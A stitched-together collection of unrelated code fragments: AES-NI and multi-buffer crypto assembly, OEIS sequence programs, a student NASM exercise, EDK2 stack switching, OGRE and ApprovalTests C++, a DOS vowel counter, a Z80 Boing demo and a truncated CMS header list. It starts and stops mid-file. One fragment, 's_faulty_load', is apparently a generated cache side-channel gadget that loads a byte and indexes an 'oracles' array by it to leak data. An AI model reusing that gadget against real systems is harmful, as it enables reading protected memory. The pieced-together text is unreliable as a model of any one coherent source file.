pxor %xmm4, %xmm1
pxor %xmm4, %xmm2
pxor %xmm4, %xmm3
movdqa (16)(%r9), %xmm4
add $(16), %r9
mov %rdx, %r10
sub $(1), %r10
.p2align 5, 0x90
.Lcipher_loopgas_1:
aesenc %xmm4, %xmm0
aesenc %xmm4, %xmm1
aesenc %xmm4, %xmm2
aesenc %xmm4, %xmm3
movdqa (16)(%r9), %xmm4
add $(16), %r9
dec %r10
jnz .Lcipher_loopgas_1
aesenclast %xmm4, %xmm0
movdqu %xmm0, (%rsi)
aesenclast %xmm4, %xmm1
movdqu %xmm1, (16)(%rsi)
aesenclast %xmm4, %xmm2
movdqu %xmm2, (32)(%rsi)
aesenclast %xmm4, %xmm3
movdqu %xmm3, (48)(%rsi)
add $(64), %rsi
sub $(64), %r8
jge .Lblks_loopgas_1
.Lshort_inputgas_1:
add $(64), %r8
jz .Lquitgas_1
lea (,%rdx,4), %rax
lea (-144)(%rcx,%rax,4), %r9
.p2align 5, 0x90
.Lsingle_blk_loopgas_1:
movdqu (%rdi), %xmm0
add $(16), %rdi
pxor (%rcx), %xmm0
cmp $(12), %rdx
jl .Lkey_128_sgas_1
jz .Lkey_192_sgas_1
.Lkey_256_sgas_1:
aesenc (-64)(%r9), %xmm0
aesenc (-48)(%r9), %xmm0
.Lkey_192_sgas_1:
aesenc (-32)(%r9), %xmm0
aesenc (-16)(%r9), %xmm0
.Lkey_128_sgas_1:
aesenc (%r9), %xmm0
aesenc (16)(%r9), %xmm0
aesenc (32)(%r9), %xmm0
aesenc (48)(%r9), %xmm0
aesenc (64)(%r9), %xmm0
aesenc (80)(%r9), %xmm0
aesenc (96)(%r9), %xmm0
aesenc (112)(%r9), %xmm0
aesenc (128)(%r9), %xmm0
aesenclast (144)(%r9), %xmm0
movdqu %xmm0, (%rsi)
add $(16), %rsi
sub $(16), %r8
jnz .Lsingle_blk_loopgas_1
.Lquitgas_1:
pxor %xmm4, %xmm4
vzeroupper
ret
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
// Store
lea addresses_A+0x83e2, %rcx
nop
nop
nop
nop
nop
cmp $36191, %r9
movl $0x51525354, (%rcx)
nop
nop
nop
nop
nop
sub $58717, %r9
// Faulty Load
lea addresses_WC+0xfde2, %rcx
nop
nop
nop
nop
nop
and $49895, %rdi
mov (%rcx), %r11
lea oracles, %rbp
and $0xff, %r11
shlq $12, %r11
mov (%rbp,%r11,1), %r11
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'00': 3817}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
;;
;; Copyright (c) 2018, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%define AES_CBC_ENC_X4 aes_cbc_enc_256_x4_no_aesni
%define FLUSH_JOB_AES_ENC flush_job_aes256_enc_sse_no_aesni
%include "sse/mb_mgr_aes_flush_sse.asm"
|
; size_t getdelim(char **lineptr, size_t *n, int delimiter, FILE *stream)
INCLUDE "clib_cfg.asm"
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _getdelim
EXTERN l0_getdelim_callee
_getdelim:
pop af
pop hl
pop de
pop bc
exx
pop bc
push bc
push bc
push de
push hl
push af
jp l0_getdelim_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _getdelim
EXTERN _getdelim_unlocked
defc _getdelim = _getdelim_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
; A062075: a(n) = n^4 * 4^n.
; 0,4,256,5184,65536,640000,5308416,39337984,268435456,1719926784,10485760000,61408804864,347892350976,1916696264704,10312216477696,54358179840000,281474976710656,1434879854116864,7213895789838336,35822363710849024,175921860444160000,855336483526017024,4121075134020714496,19692059739421671424,93386641873154605056,439804651110400000000,2058036943317259780096,9573589958277615058944,44290632520976633430016,203859868674958834008064,933866418731546050560000,4258988883424079704489984
mov $2,4
pow $2,$0
pow $0,4
mul $0,$2
|
; A082447: a(n) = the number k such that s(k)=0 where s(0)=n and s(i)=s(i-1)-(s(i-1) modulo i).
; Submitted by Christian Krause
; 1,2,2,3,3,4,4,4,4,5,5,6,6,6,6,6,6,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,10,10,10,10,10,10,10,10,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16
seq $0,73047 ; Least k such that x(k)=0 where x(1)=n and x(k)=k*floor(x(k-1)/k).
sub $0,1
|
; A152621: a(n)=8*a(n-1)-6*a(n-2), n>1 ; a(0)=1, a(1)=2.
; 1,2,10,68,484,3464,24808,177680,1272592,9114656,65281696,467565632,3348834880,23985285248,171789272704,1230402470144,8812484124928,63117458178560,452064760678912,3237813336359936,23190118126806016
mov $2,$0
lpb $2,1
sub $2,1
mul $3,6
add $3,$1
add $3,6
add $1,$3
lpe
div $1,6
add $1,1
|
bits 32 ; assembling for the 32 bits architecture
; declare the EntryPoint (a label defining the very first instruction of the program)
global start
; declare external functions needed by our program
extern exit ; tell nasm that exit exists even if we won't be defining it
import exit msvcrt.dll ; exit is a function that ends the calling process. It is defined in msvcrt.dll
; msvcrt.dll contains exit, printf and all the other important C-runtime specific functions
; our data is declared here (the variables needed by our program)
segment data use32 class=data
; ...
s db 1,2,3,4
l equ $-s
d times (l-1) dw 0
; our code starts here
segment code use32 class=code
start:
; ...
mov eax, 0
mov ebx,0
mov ecx,0
lea esi,[s]
lea edi,[d]
mov ecx,0
mov ecx, l-1
repeta:
mov al,[esi]
mov bl,[esi+1]
imul bl ; ax = al * bl
mov [edi],ax
inc esi
inc edi
loop repeta
; exit(0)
push dword 0 ; push the parameter for exit onto the stack
call [exit] ; call exit to terminate the program
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2016, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Abstract:
;
; Switch the stack from temporary memory to permenent memory.
;
;------------------------------------------------------------------------------
SECTION .text
extern ASM_PFX(SwapStack)
;------------------------------------------------------------------------------
; UINT32
; EFIAPI
; Pei2LoaderSwitchStack (
; VOID
; )
;------------------------------------------------------------------------------
global ASM_PFX(Pei2LoaderSwitchStack)
ASM_PFX(Pei2LoaderSwitchStack):
xor eax, eax
jmp ASM_PFX(FspSwitchStack)
;------------------------------------------------------------------------------
; UINT32
; EFIAPI
; Loader2PeiSwitchStack (
; VOID
; )
;------------------------------------------------------------------------------
global ASM_PFX(Loader2PeiSwitchStack)
ASM_PFX(Loader2PeiSwitchStack):
jmp ASM_PFX(FspSwitchStack)
;------------------------------------------------------------------------------
; UINT32
; EFIAPI
; FspSwitchStack (
; VOID
; )
;------------------------------------------------------------------------------
global ASM_PFX(FspSwitchStack)
ASM_PFX(FspSwitchStack):
; Save current contexts
push eax
pushfd
cli
pushad
sub esp, 8
sidt [esp]
; Load new stack
push esp
call ASM_PFX(SwapStack)
mov esp, eax
; Restore previous contexts
lidt [esp]
add esp, 8
popad
popfd
add esp, 4
ret
|
/*
-----------------------------------------------------------------------------
This source file is part of OGRE
(Object-oriented Graphics Rendering Engine)
For the latest info, see http://www.ogre3d.org/
Copyright (c) 2000-2014 Torus Knot Software Ltd
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
-----------------------------------------------------------------------------
*/
namespace Ogre
{
inline ArrayMaskR BooleanMask4::getMask( bool x )
{
return x;
}
//--------------------------------------------------------------------------------------
inline ArrayMaskR BooleanMask4::getMask( bool b[1] )
{
return b[0];
}
//--------------------------------------------------------------------------------------
inline ArrayMaskR BooleanMask4::getAllSetMask(void)
{
return true;
}
//--------------------------------------------------------------------------------------
inline bool BooleanMask4::allBitsSet( bool mask0[1], bool mask1[1] )
{
return ( *mask0 & *mask1 ) == true;
}
//--------------------------------------------------------------------------------------
inline uint32 BooleanMask4::getScalarMask( ArrayMaskR mask )
{
return static_cast<uint32>( mask );
}
#define IS_BIT_SET( bit, intMask ) ( (intMask & (1 << bit) ) != 0)
}
|
#include "catch.hpp"
#include "ApprovalTests/utilities/CartesianProduct.h"
#include <string>
#include <vector>
#include <set>
using namespace ApprovalTests;
using Results = std::vector<std::string>;
// ------------------------------------------------------------------
// Tests which use a non-template object for accumulating results
// from CartesianProduct::cartesian_product(), to show the simplest
// way of using that function.
// ------------------------------------------------------------------
namespace
{
// A hard-coded struct for accumulating results
struct AccumulateResults2StringsCommaSeparated
{
Results results;
void operator()(std::string&& s1, std::string&& s2)
{
results.push_back(s1 + "," + s2);
}
};
}
TEST_CASE("Cartesian product with hard-coded-converter")
{
const std::vector<std::string> input1{"hello"};
const std::vector<std::string> input2{"world"};
AccumulateResults2StringsCommaSeparated results_store;
CartesianProduct::cartesian_product(results_store, input1, input2);
const Results expected{"hello,world"};
REQUIRE(results_store.results == expected);
}
// ------------------------------------------------------------------
// Tests which use template object for accumulating results
// from CartesianProduct::cartesian_product(). This gives greater
// flexibility, but perhaps slightly more complex code.
// ------------------------------------------------------------------
namespace
{
// Converter is the lambda, function or similar, that takes a set of input values, and returns a calculated result
template<class Converter>
struct AccumulateResults
{
Results results;
Converter converter;
template<class T, class... Ts>
void operator()(T&& input1, Ts&&... inputs) {
results.push_back(converter(input1, inputs...));
}
};
template<class Converter, class Container, class... Containers>
void test_cartesian_product(const Results& expected, Converter&& converter, const Container& input0,
const Containers&... inputs)
{
auto results_store = AccumulateResults<Converter>{
Results(),
std::forward<Converter>(converter)};
CartesianProduct::cartesian_product(results_store, input0, inputs...);
REQUIRE(results_store.results == expected);
}
std::string concatenate_2_strings_comma_separated(const std::string& s1, const std::string& s2)
{
return (s1 + "," + s2);
}
}
TEST_CASE("Cartesian product with iterator types")
{
const Results expected{"A,1", "A,2", "B,1", "B,2"};
SECTION("random-access")
{
const std::vector<std::string> input1{"A", "B"};
const std::vector<std::string> input2{"1", "2"};
test_cartesian_product(expected, concatenate_2_strings_comma_separated, input1, input2);
}
SECTION("bi-directional-access")
{
const std::set<std::string> input1{"A", "B"};
const std::set<std::string> input2{"1", "2"};
test_cartesian_product(expected, concatenate_2_strings_comma_separated, input1, input2);
}
}
TEST_CASE("Cartesian product with different types of converter")
{
const Results expected{"A,1", "A,2", "B,1", "B,2"};
const std::vector<std::string> input1{"A", "B"};
const std::vector<std::string> input2{"1", "2"};
SECTION("free function")
{
test_cartesian_product(expected, concatenate_2_strings_comma_separated, input1, input2);
}
SECTION("lambda expression")
{
test_cartesian_product(
expected,
[](const std::string& s1, const std::string& s2){return s1 + "," + s2;},
input1, input2);
}
}
TEST_CASE("Cartesian product works with mixed input types")
{
const std::vector<std::string> input1{"hello"};
const std::set<std::string> input2{"world"};
const Results expected{"hello,world"};
test_cartesian_product(expected, concatenate_2_strings_comma_separated, input1, input2);
}
TEST_CASE("Cartesian product with an empty input gives empty output")
{
const std::set<std::string> input1{"A", "B"};
const std::set<std::string> input2;
const Results expected;
test_cartesian_product(expected, concatenate_2_strings_comma_separated, input1, input2);
}
|
.MODEL SMALL
.STACK 100H
.DATA
STRING DB ?
SYS DB 'S'
VOWEL DB 'S'
INPUT_USER DB 0AH,0DH, 'ENTER A STRING: ',0DH,0AH,'$'
OUTPUT_M DB 0AH,0DH, 'TOTAL VOWEL: ',0DH,0AH,'$'
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
MOV DX, OFFSET INPUT_USER
MOV AH, 09
INT 21H
LEA SI, STRING
INPUT: MOV AH, 1
INT 21H
MOV [SI], AL
INC SI
CMP AL, 0DH
JNZ INPUT
MOV AL, SYS
MOV [SI], '$'
MOV SI, OFFSET STRING
MOV BL, 00
BACK:
MOV AL, [SI]
CMP AL,'$'
JZ FINAL
CMP AL,'A'
JZ COUNT
CMP AL,'E'
JZ COUNT
CMP AL,'I'
JZ COUNT
CMP AL,'O'
JZ COUNT
CMP AL,'U'
JZ COUNT
CMP AL,'a'
JZ COUNT
CMP AL,'e'
JZ COUNT
CMP AL,'i'
JZ COUNT
CMP AL,'o'
JZ COUNT
CMP AL,'u'
JZ COUNT
INC SI
JMP BACK
COUNT:
INC BL
MOV VOWEL, BL
INC SI
JMP BACK
FINAL:
LEA DX, OUTPUT_M
MOV AH, 9
INT 21H
MOV AH, 2
MOV DL, VOWEL
INT 21H
MOV AH, 4CH
INT 21H
MAIN ENDP
END MAIN |
; A244307: Sum over each antidiagonal of A244306.
; 0,2,7,20,45,92,170,296,486,766,1161,1708,2443,3416,4676,6288,8316,10842,13947,17732,22297,27764,34254,41912,50882,61334,73437,87388,103383,121648,142408,165920,192440,222258,255663,292980,334533,380684,431794,488264,550494,618926,694001,776204,866019,963976,1070604,1186480,1312180,1448330,1595555,1754532,1925937,2110500,2308950,2522072,2750650,2995526,3257541,3537596,3836591,4155488,4495248,4856896,5241456,5650018,6083671,6543572,7030877,7546812,8092602,8669544,9278934,9922142,10600537,11315564,12068667,12861368,13695188,14571728,15492588,16459450,17473995,18537988,19653193,20821460,22044638,23324664,24663474,26063094,27525549,29052956,30647431,32311184,34046424,35855456,37740584,39704210,41748735,43876660
mov $4,$0
mov $5,$0
lpb $4
mov $0,$5
mov $3,0
sub $4,1
sub $0,$4
lpb $0
mov $2,$0
seq $2,131941 ; Partial sums of ceiling(n^2/2) (A000982).
add $3,$0
trn $0,2
add $3,$2
lpe
add $1,$3
lpe
mov $0,$1
|
;---------------------------------------
; Amiga Boing example
;---------------------------------------
org #c000-4
tableHalf equ 2520
bitmapYSm equ #00 ; смещение по оси Y внутри bitmap делённое на 8
; addr: bitmapYSm 3 * 8 = 24 pixel
; 24 * 256 (если 16 цветные спрайты) получаем смещение #1800
; данные спрайта начнутся с #d800
BoingStart
db #7f,"CLA" ; Command Line Application
ld hl,boingMsg
call printString
ld hl,infoMsg
call printString
call clearGfxScreen
ld hl,loadPalMsg
call printString
call chToHomePath ; установить «домашнюю» директорию
ld hl,boingPalFile
ld a,resPal
call loadResource
call printOkStatus
ld hl,loadSprMsg
call printString
ld hl,boingSprFile
ld c,bitmapYSm
ld a,resSpr
call loadResource
call printOkStatus
call chToCallPath ; восстановить директорию вызова
ld hl,appRunMsg
call printString
halt
call printWW ; печать
ld a,#02
call setCliGfxResol
ld a,#01
call setScreen
call enableSprites
call prepareTable
ld bc,tableHalf
ld (tableCount+1),bc
ld a,bitmapYSm
ld hl,#0802 ; l = (#01+1) * ~20 = 40ms на 1 кадр, h - #08 кадров анимации
ld de,#0404 ; ширина / 8 px , высота /8 px
call createSprite
sprMove halt
call updateSprite
call printWW
ld hl,(timeCount)
inc hl
ld (timeCount),hl
ld de,timeCountMsg
call int2str
ld hl,boingPosMsg
call printInLine
call checkKeyEsc
jp nz,BoingStop
tableAddr ld hl,jumpTable
ld a,(hl)
ld e,a
inc hl
ld a,(hl)
ld d,a
inc hl
call setSpriteX
push hl
ex de,hl
ld de,posXMsg
call int2str
pop hl
ld a,(hl)
ld e,a
inc hl
ld a,(hl)
ld d,a
inc hl
call setSpriteY
push hl
ex de,hl
ld de,posYMsg
call int2str
pop hl
tableCount ld bc,tableHalf
dec bc
dec bc
dec bc
dec bc
ld a,b
or c
jr nz,tableSet
ld hl,jumpTable
ld bc,tableHalf
tableSet ld (tableCount+1),bc
ld (tableAddr+1),hl
jp sprMove
;
BoingStop call editInit
call disableSprites
xor a
call setScreen
call clearGfxScreen
ld hl,appExitMsg
call printString
xor a ; no error, clean exit!
ret
;---------------------------------------
prepareTable ld bc,tableHalf
ld hl,jumpPart-1 ; подготавливаем зеркальную копию таблицы
ld de,jumpPart
prepareLoop push bc
ld a,(hl) ; x мл.
ld c,a
dec hl
ld a,(hl) ; x ст.
ld b,a
dec hl
ld a,(hl) ; y мл.
ex af,af'
dec hl
ld a,(hl) ; y ст.
dec hl
ld (de),a ; y ст.
inc de
ex af,af' ; y мл.
ld (de),a
inc de
ld a,b ; x ст.
ld (de),a
inc de
ld a,c ; x мл.
ld (de),a
inc de
pop bc
dec bc
dec bc
dec bc
dec bc
ld a,b
or c
jr nz,prepareLoop
ret
boingPalFile db "boing.pal",#00
boingSprFile db "boing.bin",#00
boingPosMsg db 16,colorOk,"Boing at posX=",16,16
posXMsg db " "
db 16,14,",",16,colorOk," posY=",16,16
posYMsg db " "
db 16,14,".",16,colorOk," Time count=",16,16
timeCountMsg db " "
db #00
timeCount dw #0000
infoMsg db 16,2,"Amiga Boing (GLi demo) v 0.03",#0d
db 16,3,"2012,2013 ",#7f," Breeze\\\\Fishbone Crew",#0d,#0d,#00
;DISPLAY "loadPalMsg=",/A,loadPalMsg
loadPalMsg db 16,colorInfo,"Loading palette... ",#00
loadSprMsg db 16,colorInfo,"Loading sprites... ",#00
appRunMsg db #0d,16,colorInfo,"Runing...",#0d,#0d
db 16,16
db #00
appExitMsg db 16,colorInfo,"Exit.",#0d
db 16,16
db #00
boingMsg db 16,16,#0d
db " /|___ ",#0d
db " .__ / (___) ",#0d
db " _____ | \\\\_/ | | ______. _____ ",#0d
db "./ \\\\| \\\\_/ | |/ ___|/ \\\\.",#0d
db "| | | | |~ | _|___| | |",#0d
db "| _|_ | | | | \\\\__ | _|_ |",#0d
db "| \\\\_ | | | | | |~ \\\\_ |",#0d
db "| | |~ | | | | | | |",#0d
db "| | | | | | | | | |",#0d
db "| | | | | |~ | | | |",#0d
db "| | | | | | | |___| ^|",#0d
db "| |___|___|___|___|\\\\__|__/~zOu| |",#0d
db "|___|~ |___|",#0d
db " b o i n g ",#0d,#0d
db #00
jumpTable dw 288,210,287,201
dw 287,193,287,184,287,176,287,168,287,160,287,151,287,143,287,136
dw 287,128,287,120,286,113,286,105,286,98,286,91,286,84,285,77
dw 285,71,285,65,285,59,284,53,284,48,284,42,283,37,283,33
dw 283,28,282,24,282,20,281,17,281,14,281,11,280,8,280,6
dw 279,4,279,3,278,1,278,0,277,0,277,0,276,0,276,0
dw 275,1,274,2,274,3,273,5,273,7,272,9,271,12,271,15,270,19
dw 269,22,268,26,268,30,267,35,266,40,266,45,265,50,264,56,263,62
dw 262,68,262,74,261,80,260,87,259,94,258,101,257,109,256,116
dw 255,124,255,131,254,139,253,147,252,155,251,163,250,172,249,180
dw 248,188,247,197,246,205,245,206,244,197,243,189,242,181,241,172
dw 240,164,239,156,237,148,236,140,235,132,234,124,233,117,232,109
dw 231,102,230,95,228,88,227,81,226,74,225,68,224,62,223,56
dw 221,51,220,45,219,40,218,35,216,31,215,26,214,22,213,19
dw 211,15,210,12,209,10,208,7,206,5,205,3,204,2,202,1
dw 201,0,200,0,198,0,197,0,196,0,194,1,193,2,192,4
dw 190,6,189,8,188,11,186,14,185,17,183,20,182,24,181,28
dw 179,32,178,37,176,42,175,47,174,53,172,58,171,64,169,71
dw 168,77,167,84,165,90,164,97,162,105,161,112,159,119,158,127
dw 157,135,155,143,154,151,152,159,151,167,149,175,148,184,146,192
dw 145,200,144,209,142,202,141,193,139,185,138,177,136,168,135,160
dw 134,152,132,144,131,136,129,128,128,121,126,113,125,106,124,99
dw 122,91,121,85,119,78,118,72,116,65,115,59,114,54,112,48
dw 111,43,109,38,108,33,107,29,105,25,104,21,102,17,101,14
dw 100,11,98,9,97,6,96,4,94,3,93,1,92,0,90,0,89,0
dw 88,0,86,0,85,1,84,2,82,3,81,5,80,7,78,9
dw 77,12,76,15,75,18,73,22,72,26,71,30,70,35,68,39
dw 67,44,66,50,65,55,63,61,62,67,61,73,60,80,59,87
dw 58,94,56,101,55,108,54,115,53,123,52,131,51,139,50,146
dw 49,155,48,163,46,171,45,179,44,188,43,196,42,204,41,206
dw 40,198,39,190,38,181,37,173,36,165,35,156,34,148,34,140,33,133
dw 32,125,31,117,30,110,29,102,28,95,27,88,26,82,26,75
dw 25,69,24,63,23,57,22,51,22,46,21,41,20,36,19,31
dw 19,27,18,23,17,19,17,16,16,13,15,10,15,7,14,5
dw 13,4,13,2,12,1,12,0,11,0,10,0,10,0,9,0
dw 9,1,8,2,8,4,7,6,7,8,6,10,6,13,6,16
dw 5,20,5,24,4,28,4,32,4,37,3,42,3,47,3,52
dw 2,58,2,64,2,70,2,76,1,83,1,90,1,97,1,104
dw 1,111,0,119,0,126,0,134,0,142,0,150,0,158,0,166
dw 0,175,0,183,0,191,0,200,0,208
jumpPart ds tableHalf,#00
jumpEnd nop
BoingEnd nop
|
//
//
#include "PhysicsTools/PatAlgos/plugins/PATMuonProducer.h"
#include "FWCore/MessageLogger/interface/MessageLogger.h"
#include "FWCore/ParameterSet/interface/FileInPath.h"
#include "FWCore/Utilities/interface/Exception.h"
#include "DataFormats/MuonReco/interface/Muon.h"
#include "DataFormats/MuonReco/interface/MuonFwd.h"
#include "DataFormats/MuonReco/interface/MuonSimInfo.h"
#include "DataFormats/TrackReco/interface/TrackToTrackMap.h"
#include "DataFormats/ParticleFlowCandidate/interface/IsolatedPFCandidateFwd.h"
#include "DataFormats/ParticleFlowCandidate/interface/IsolatedPFCandidate.h"
#include "DataFormats/PatCandidates/interface/PFIsolation.h"
#include "DataFormats/HepMCCandidate/interface/GenParticleFwd.h"
#include "DataFormats/HepMCCandidate/interface/GenParticle.h"
#include "DataFormats/Common/interface/Association.h"
#include "DataFormats/BeamSpot/interface/BeamSpot.h"
#include "DataFormats/VertexReco/interface/Vertex.h"
#include "FWCore/ParameterSet/interface/ConfigurationDescriptions.h"
#include "FWCore/ParameterSet/interface/ParameterSetDescription.h"
#include "FWCore/ParameterSet/interface/EmptyGroupDescription.h"
#include "TrackingTools/TransientTrack/interface/TransientTrackBuilder.h"
#include "TrackingTools/Records/interface/TransientTrackRecord.h"
#include "TrackingTools/TransientTrack/interface/TransientTrack.h"
#include "TrackingTools/IPTools/interface/IPTools.h"
#include "TMath.h"
#include "FWCore/Utilities/interface/transform.h"
#include "PhysicsTools/PatUtils/interface/MiniIsolation.h"
#include "PhysicsTools/PatAlgos/interface/MuonMvaEstimator.h"
#include "FWCore/ParameterSet/interface/FileInPath.h"
#include "JetMETCorrections/JetCorrector/interface/JetCorrector.h"
#include "PhysicsTools/PatAlgos/interface/SoftMuonMvaEstimator.h"
#include "DataFormats/PatCandidates/interface/TriggerObjectStandAlone.h"
